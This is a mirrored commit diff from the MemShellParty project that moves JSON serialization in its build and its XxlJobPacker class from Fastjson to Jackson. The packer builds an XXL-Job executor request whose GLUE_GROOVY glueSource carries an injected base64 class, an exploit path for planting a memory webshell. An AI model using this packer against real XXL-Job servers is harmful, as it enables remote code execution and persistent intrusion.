mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: use Jackson not Fastjson for smaller jar size
This commit is contained in:
@@ -50,7 +50,7 @@ dependencies {
|
|||||||
implementation 'org.apache.commons:commons-lang3'
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
implementation 'com.squareup.okhttp3:okhttp'
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
implementation 'ch.qos.logback:logback-classic'
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
implementation 'org.springframework:spring-webmvc'
|
||||||
implementation 'org.springframework:spring-webflux'
|
implementation 'org.springframework:spring-webflux'
|
||||||
|
|||||||
@@ -1,12 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.alibaba.fastjson2.JSONObject;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import com.alibaba.fastjson2.JSONWriter;
|
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -25,23 +28,26 @@ public class XxlJobPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String source = template
|
String source = template
|
||||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||||
JSONObject jsonObject = new JSONObject();
|
Map<String, Object> map = new HashMap<>();
|
||||||
jsonObject.put("jobId", 1);
|
map.put("jobId", 1);
|
||||||
jsonObject.put("executorHandler", "demoJobHandler");
|
map.put("executorHandler", "demoJobHandler");
|
||||||
jsonObject.put("executorParams", "demoJobHandler");
|
map.put("executorParams", "demoJobHandler");
|
||||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
map.put("executorBlockStrategy", "COVER_EARLY");
|
||||||
jsonObject.put("executorTimeout", 0);
|
map.put("executorTimeout", 0);
|
||||||
jsonObject.put("logId", 1);
|
map.put("logId", 1);
|
||||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
map.put("logDateTime", System.currentTimeMillis());
|
||||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
map.put("glueType", "GLUE_GROOVY");
|
||||||
jsonObject.put("glueSource", source);
|
map.put("glueSource", source);
|
||||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
map.put("glueUpdatetime", System.currentTimeMillis());
|
||||||
jsonObject.put("broadcastIndex", 0);
|
map.put("broadcastIndex", 0);
|
||||||
jsonObject.put("broadcastTotal", 0);
|
map.put("broadcastTotal", 0);
|
||||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
||||||
|
return objectMapper.writeValueAsString(map);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,6 +29,7 @@ dependencies {
|
|||||||
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
api 'com.squareup.okhttp3:okhttp:4.12.0'
|
api 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||||
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||||
|
api 'com.fasterxml.jackson.core:jackson-databind:2.18.3'
|
||||||
|
|
||||||
api 'org.jetbrains:annotations:26.0.1'
|
api 'org.jetbrains:annotations:26.0.1'
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user